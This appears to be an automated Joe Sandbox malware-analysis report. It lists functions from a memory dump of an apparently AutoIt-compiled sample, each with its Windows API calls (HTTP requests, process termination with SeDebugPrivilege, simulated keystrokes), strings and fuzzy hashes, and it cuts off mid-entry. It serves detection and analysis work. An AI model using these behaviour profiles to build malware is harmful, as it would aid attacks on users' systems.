Instruction Fuzzy Hash: 258193729083459BC720EF15C844AAAB3EABF84364F18485FF885CB350E775DD45AB92

Function 00F65BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00F65C7A

Part of subcall function 00F65D0A: GetClientRect.USER32(?,?), ref: 00F65D30
Part of subcall function 00F65D0A: GetWindowRect.USER32(?,?), ref: 00F65D71
Part of subcall function 00F65D0A: ScreenToClient.USER32(?,?), ref: 00F65D99

GetDC.USER32 ref: 00FA46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00FA4708
SelectObject.GDI32(00000000,00000000), ref: 00FA4716
SelectObject.GDI32(00000000,00000000), ref: 00FA472B
ReleaseDC.USER32(?,00000000), ref: 00FA4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00FA47C4

Strings

U, xrefs: 00FA4693

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: bdbff747c9d1a5ac7cdef215525daf90fc47005ea8bf2fd49cec38cd601c6ea4
Instruction ID: 3237269a8ea64719343ffcade346904dd8b7294e1681335e37fbe6f999e1d736
Opcode Fuzzy Hash: bdbff747c9d1a5ac7cdef215525daf90fc47005ea8bf2fd49cec38cd601c6ea4
Instruction Fuzzy Hash: 08710171800249DFCF218F64C984ABA7BB5FF8B320F144269ED556A2A6C775A841FF60

Function 00FD359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00FD35E4

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

LoadStringW.USER32(01032390,?,00000FFF,?), ref: 00FD360A

Strings

Line %d (File "%s"):, xrefs: 00FD366B
"%s" (%d) : ==> %s:%s%s, xrefs: 00FD3724
"%s" (%d) : ==> %s:, xrefs: 00FD3742
^ ERROR, xrefs: 00FD36C9
Error: , xrefs: 00FD36EF

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 201ac4a713f826ab5d346e77fcbb886dad47cadb5e4993da0a99f0403542da09
Instruction ID: 624cc5c84e53a2fa6f9598bf0361594070d7b55281d243643d415466c471bec5
Opcode Fuzzy Hash: 201ac4a713f826ab5d346e77fcbb886dad47cadb5e4993da0a99f0403542da09
Instruction Fuzzy Hash: DE517E72C0421ABACF14EBA0CD42EEDBB79EF14300F144125F50572291EB755B98EFA1

Function 00FF8B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00F79BB2

Part of subcall function 00F7912D: GetCursorPos.USER32(?), ref: 00F79141
Part of subcall function 00F7912D: ScreenToClient.USER32(00000000,?), ref: 00F7915E
Part of subcall function 00F7912D: GetAsyncKeyState.USER32(00000001), ref: 00F79183
Part of subcall function 00F7912D: GetAsyncKeyState.USER32(00000002), ref: 00F7919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00FF8B6B
ImageList_EndDrag.COMCTL32 ref: 00FF8B71
ReleaseCapture.USER32 ref: 00FF8B77
SetWindowTextW.USER32(?,00000000), ref: 00FF8C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00FF8C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00FF8CFF

Strings

@GUI_DROPID, xrefs: 00FF8C51
@GUI_DRAGFILE, xrefs: 00FF8C9A

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: ab3330eae7def92dd6bd5a5eca8ba52b38285656c099c9156582ed5b1db6c01a
Instruction ID: c0ff8e4a84000ab9a9a61a332939b880bc66c12df26a80f70a7573c1dcd3ec5e
Opcode Fuzzy Hash: ab3330eae7def92dd6bd5a5eca8ba52b38285656c099c9156582ed5b1db6c01a
Instruction Fuzzy Hash: 35519C71508208AFD710DF24DC55FBA77E8FF88750F00062DFA96A72A1CB759904EBA2

Function 00FDC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FDC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FDC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00FDC2CA
GetLastError.KERNEL32 ref: 00FDC322
SetEvent.KERNEL32(?), ref: 00FDC336
InternetCloseHandle.WININET(00000000), ref: 00FDC341

Strings

, xrefs: 00FDC2BB

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: c087dfdceeedb5443ed53de55113bbcaa58ba01cf9cff334b7abb8b0dcf90884
Instruction ID: 9f76077b9c55ba9ac0b14c1bd2a23916d4605abdb81d028a154f227220004b08
Opcode Fuzzy Hash: c087dfdceeedb5443ed53de55113bbcaa58ba01cf9cff334b7abb8b0dcf90884
Instruction Fuzzy Hash: 76316DB2500209AFDB21AF658D88ABB7BFDEF49754B18851EF446D2310DB34DD04EBA0

Function 00FC989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00FA3AAF,?,?,Bad directive syntax error,00FFCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00FC98BC
LoadStringW.USER32(00000000,?,00FA3AAF,?), ref: 00FC98C3

Part of subcall function 00F69CB3: _wcslen.LIBCMT ref: 00F69CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00FC9987

Strings

Line %d:, xrefs: 00FC9912
Line %d (File "%s"):, xrefs: 00FC992D
%s (%d) : ==> %s.: %s %s, xrefs: 00FC98F1
Error: , xrefs: 00FC9955
., xrefs: 00FC996D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 9c4967897fcd298f8b49d07cf958f2512f7a94cc289c7a6b5525c65cc3006f56
Instruction ID: 76128ee69e7d00ee792dffe5921adabbdab61cdf7a4c297602623ffc36ed704e
Opcode Fuzzy Hash: 9c4967897fcd298f8b49d07cf958f2512f7a94cc289c7a6b5525c65cc3006f56
Instruction Fuzzy Hash: F9215E32C0422EABCF15AF90CD0AEFE7779FF18700F044459F51966062EB759618EB51

Function 00FC209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00FC20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00FC20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00FC214D

Strings

SHELLDLL_DefView, xrefs: 00FC20CC
list, xrefs: 00FC212F
smallicons, xrefs: 00FC2115
details, xrefs: 00FC20FB
largeicons, xrefs: 00FC20E1

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 991d7b8ad314c11be99e0b77e4a716985ee76cfb83674fd841cffa622e9e411a
Instruction ID: 8725226bf120c8708e0bedac92b9f1cf9a6a325be207ac61d3020a181b7b7da1
Opcode Fuzzy Hash: 991d7b8ad314c11be99e0b77e4a716985ee76cfb83674fd841cffa622e9e411a
Instruction Fuzzy Hash: 3911CA77A8832BB9F6057621DD07EF6779CDF05724B20012EF704A90A1FE6568417A58

Function 00F98D45 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99587001cd185c61ed2126f8ed7efc63bd3bfd3d3a91926953721cfdf8ef1bd5
Instruction ID: d72901b91d37b9220e4c5f205945d8eb718a400ce3662c091c3555ffe7718fb2
Opcode Fuzzy Hash: 99587001cd185c61ed2126f8ed7efc63bd3bfd3d3a91926953721cfdf8ef1bd5
Instruction Fuzzy Hash: 02C1F775D08249AFEF11EFACC841BAD7BB4BF0A320F054059F514A7392C7759941EB61

Function 00F9CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00F9CEB7
_free.LIBCMT ref: 00F9CF22
_free.LIBCMT ref: 00F9CF48
_free.LIBCMT ref: 00F9CF71
_free.LIBCMT ref: 00F9CFA9
_free.LIBCMT ref: 00F9CFDA
_free.LIBCMT ref: 00F9D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00F9D09C
_free.LIBCMT ref: 00F9D0B5

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 0960cf40375eac29e06f76eeff7919a0828d642473f6010f0cb34970b7e6c241
Instruction ID: ed21a3cca565919a703902ba9508674369ae0477e55e86dcc802c50d730c5adc
Opcode Fuzzy Hash: 0960cf40375eac29e06f76eeff7919a0828d642473f6010f0cb34970b7e6c241
Instruction Fuzzy Hash: A0616472D04200AFFF31AF789C85A6D7BA9AF05364F14416DF94597289D73A9D00B7E0

Function 00FF50D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00FF5186
ShowWindow.USER32(?,00000000), ref: 00FF51C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00FF51CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00FF51D1

Part of subcall function 00FF6FBA: DeleteObject.GDI32(00000000), ref: 00FF6FE6

GetWindowLongW.USER32(?,000000F0), ref: 00FF520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00FF521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00FF524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00FF5287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00FF5296

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: be65b60120883955aac817e871a993efdc7c49547e071a7d2f9f9b44497ffe9c
Instruction ID: cc935ca06469614916860704ee6d1ef9f4c0fddf45f050db00c28d7845e60c38
Opcode Fuzzy Hash: be65b60120883955aac817e871a993efdc7c49547e071a7d2f9f9b44497ffe9c
Instruction Fuzzy Hash: 1D518031A44A0CBEEF249F64CC45BF93B65AF05B21F148212F719962F0C7B5A980FB41

Function 00F78B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00FB6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00FB68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00FB68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00FB68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00FB68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00F78874,00000000,00000000,00000000,000000FF,00000000), ref: 00FB6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00FB691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00F78874,00000000,00000000,00000000,000000FF,00000000), ref: 00FB692D

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 36b51801338d0495505c646d7ca7e3fd6a4cf6d13651ad3b530956620b1c1646
Instruction ID: a2cc0a1c7fa244e4afb8613a82ae35f7d53fa65a826e991452a6b44e705a7b58
Opcode Fuzzy Hash: 36b51801338d0495505c646d7ca7e3fd6a4cf6d13651ad3b530956620b1c1646
Instruction Fuzzy Hash: 71517B70A00209EFDB20CF29CC45FAA7BB5EF88760F108519F94AD72A0DB75E951EB50

Function 00FDC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00FDC182
GetLastError.KERNEL32 ref: 00FDC195
SetEvent.KERNEL32(?), ref: 00FDC1A9

Part of subcall function 00FDC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00FDC272
Part of subcall function 00FDC253: GetLastError.KERNEL32 ref: 00FDC322
Part of subcall function 00FDC253: SetEvent.KERNEL32(?), ref: 00FDC336
Part of subcall function 00FDC253: InternetCloseHandle.WININET(00000000), ref: 00FDC341

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: a031c0d22fdfe3dd3e19587cd7afdf69d89d9dcc45d3966083c89f8acefa66e1
Instruction ID: 9f35d04b724e1aab74461b00686ff59493b23402605bb41bcd8bc0a0f3417f4b
Opcode Fuzzy Hash: a031c0d22fdfe3dd3e19587cd7afdf69d89d9dcc45d3966083c89f8acefa66e1
Instruction Fuzzy Hash: 09316B7260061AAFDB219FA59D44A76BBEAFF18311B18441EF95682720D731E814FBE0

Function 00FC25A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FC3A57
Part of subcall function 00FC3A3D: GetCurrentThreadId.KERNEL32 ref: 00FC3A5E
Part of subcall function 00FC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00FC25B3), ref: 00FC3A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00FC25BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00FC25DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00FC25DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FC25E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00FC2601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00FC2605
MapVirtualKeyW.USER32(00000025,00000000), ref: 00FC260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00FC2623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00FC2627

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: a3e35a716b056c1ca2cd425f160d06d8b4c2eff120ab8dda9da6feab49f297a9
Instruction ID: 2a829e7b0674a567873f93b8001a3d783a54810f236b2f4b77d6d5cc5909701f
Opcode Fuzzy Hash: a3e35a716b056c1ca2cd425f160d06d8b4c2eff120ab8dda9da6feab49f297a9
Instruction Fuzzy Hash: 2C01D831394228BBFB1067699C8BF693F5DDF4EB51F100005F318AE0D1C9F15454EAA9

Function 00FC1803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00FC1449,?,?,00000000), ref: 00FC180C
HeapAlloc.KERNEL32(00000000,?,00FC1449,?,?,00000000), ref: 00FC1813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00FC1449,?,?,00000000), ref: 00FC1828
GetCurrentProcess.KERNEL32(?,00000000,?,00FC1449,?,?,00000000), ref: 00FC1830
DuplicateHandle.KERNEL32(00000000,?,00FC1449,?,?,00000000), ref: 00FC1833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00FC1449,?,?,00000000), ref: 00FC1843
GetCurrentProcess.KERNEL32(00FC1449,00000000,?,00FC1449,?,?,00000000), ref: 00FC184B
DuplicateHandle.KERNEL32(00000000,?,00FC1449,?,?,00000000), ref: 00FC184E
CreateThread.KERNEL32(00000000,00000000,00FC1874,00000000,00000000,00000000), ref: 00FC1868

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: bdc30cdac70a27a428e063b54a364e8d1bc4e9011ac4a385b1e676066a24b5a3
Instruction ID: d0ed690e0f4863549031845b2512344910d6130b7517be4de163e453d94b6b44
Opcode Fuzzy Hash: bdc30cdac70a27a428e063b54a364e8d1bc4e9011ac4a385b1e676066a24b5a3
Instruction Fuzzy Hash: 2101BF7524030CBFE710AB65DD4DF673B6CEF89B11F004411FA05DB192C6709814EB60

Function 00FEA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00FCD4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 00FCD501
Part of subcall function 00FCD4DC: Process32FirstW.KERNEL32(00000000,?), ref: 00FCD50F
Part of subcall function 00FCD4DC: CloseHandle.KERNELBASE(00000000), ref: 00FCD5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FEA16D
GetLastError.KERNEL32 ref: 00FEA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FEA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FEA268
GetLastError.KERNEL32(00000000), ref: 00FEA273
CloseHandle.KERNEL32(00000000), ref: 00FEA2C4

Strings

SeDebugPrivilege, xrefs: 00FEA18F

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000000FFC000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695272800.0000000001022000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695394940.000000000102C000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000C.00000002.2695468753.0000000001034000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_f60000_d7c50276ff.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: d661b7ef5e99370d2e2922519e54603d150d9ca9160cd9858e85201b243bfd9f
Instruction ID: 8b6d725d9fb3e9182a3b3f79434ee9ded57c21a71b50a39c7db1377009398f40
Opcode Fuzzy Hash: d661b7ef5e99370d2e2922519e54603d150d9ca9160cd9858e85201b243bfd9f
Instruction Fuzzy Hash: 6461DF306042829FD320DF15C894F25BBE5AF44318F18848CE5A68B7A3C776FC45EB92

Function 00FF3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00FF3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00FF393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00FF3954
_wcslen.LIBCMT ref: 00FF3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 00FF39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00FF39F4

Strings

SysListView32, xrefs: 00FF38F7

Memory Dump Source

Source File: 0000000C.00000002.2695121244.0000000000F61000.00000020.00000001.01000000.00000011.sdmp, Offset: 00F60000, based on PE: true

Associated: 0000000C.00000002.2695083657.0000000000F60000.00000002.00000001.01000000.00000011.sdmpDownload File
